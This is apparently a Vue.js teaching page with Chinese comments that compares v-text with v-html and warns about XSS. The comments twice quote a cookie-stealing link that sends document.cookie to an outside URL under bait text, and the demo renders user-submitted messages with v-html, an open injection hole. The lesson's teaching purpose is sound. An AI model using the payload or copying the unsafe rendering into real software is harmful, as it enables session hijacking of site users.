<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="../js/vue.js"></script>
</head>
<body>
    <div id="app">
        <!-- v-text指令可以将指令中的内容取出放到标签体中,和JS的innerText一样 -->
        <h1>{{msg}}</h1>
        <h1 v-text="msg"></h1>
        <!-- 这种填充和JS的innerText实现原理一样,都是先清空标签体原有的内容,填充新内容 -->
        <h1 v-text="n"></h1>
        <!-- 即便是html代码也只会作为普通文本执行 -->
        <h1 v-text="s1"></h1>
        <!-- v-html视为html代码,和JS中的innerHTML一样 -->
        <!-- 也是覆盖原有内容,显示新东西 -->
        <!-- innerHtml和v-html最好少用,因为有概率导致XSS袭击 -->
        <!-- 这种在实际开发中,不要用到用户提交的内容上,会导致JS代码注入 -->
        <div v-html="s1"></div>
        <!-- 什么叫XSS袭击,XSS袭击通常就是利用网页开发时留下的疏漏, -->
        <!-- 通过巧妙的方法注入恶意指令到网页,使正常用户加载并执行 -->
        <!-- 这些恶意的网页程序一般是用JS编写的 -->
        <!-- 例如 -->
        <!-- <a href='javascript:location.href="https://www.baidu.com?" + document.cookie'>点我给你看看好玩的</a> -->
        <!-- 如果正常用户点击了这个留言,就会导致自己的cookie被发送给恶意的服务器 -->
        <!-- 就会被对方获取信息 -->
        <div>
            <ul>
                <li v-for="inf,propName of info" :key="inf.user">{{inf.user}}:{{inf.word}}</li>
            </ul>
        </div>
        <div>
            <ul>
                <li v-for="m,index of messageList" :key="index" v-html="m"></li>
            </ul>
        </div>
        <div>
            <textarea cols="50" rows="10" v-model.lazy="message"></textarea>
            <button @click="save()">保存留言</button>
        </div>
        <div>
            <input type="text" v-model="name"/>
            <input type="text" v-model="input"/>
            <button @click="submit()">按一下提交</button>
        </div>
        <!-- 这段可以让点击这个超链接的人向我们的地址位置提交自己本机缓存的cookie,一旦我那边进行接收 -->
        <!-- 我就可以针对性的使用这个cookie来进行登录带来破坏和损失 -->
        <!-- <a href="javascript:location.href='https://www.baidu.com?' + document.cookie">点我看美女</a> -->
    </div>
    <script>
        const vm = new Vue({
            el : "#app",
            data : {
                msg : "Hello",
                n : "Jack",
                s1 : "<h1>哈哈哈</h1>",
                name : "",
                input : "",
                message : "",
                info : [
                    {user : "Jack",word : "哈哈哈哈"},
                    {user : "Rose",word : "哈哈哈哈"},
                    {user : "Tim",word : "哈哈哈哈"},
                    {user : "Peter",word : "哈哈哈哈"},
                    {user : "David",word : "哈哈哈哈"}
                ],
                messageList : []
            },
            methods : {
                submit(){
                    let name = this.name;
                    let input = this.input;
                    this.$data.info.push({user : name,word : input});
                },
                save(){
                    this.messageList.push(this.message);
                }
            }
        });
    </script>
</body>
</html>
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24.
  • 25.
  • 26.
  • 27.
  • 28.
  • 29.
  • 30.
  • 31.
  • 32.
  • 33.
  • 34.
  • 35.
  • 36.
  • 37.
  • 38.
  • 39.
  • 40.
  • 41.
  • 42.
  • 43.
  • 44.
  • 45.
  • 46.
  • 47.
  • 48.
  • 49.
  • 50.
  • 51.
  • 52.
  • 53.
  • 54.
  • 55.
  • 56.
  • 57.
  • 58.
  • 59.
  • 60.
  • 61.
  • 62.
  • 63.
  • 64.
  • 65.
  • 66.
  • 67.
  • 68.
  • 69.
  • 70.
  • 71.
  • 72.
  • 73.
  • 74.
  • 75.
  • 76.
  • 77.
  • 78.
  • 79.
  • 80.
  • 81.
  • 82.
  • 83.
  • 84.
  • 85.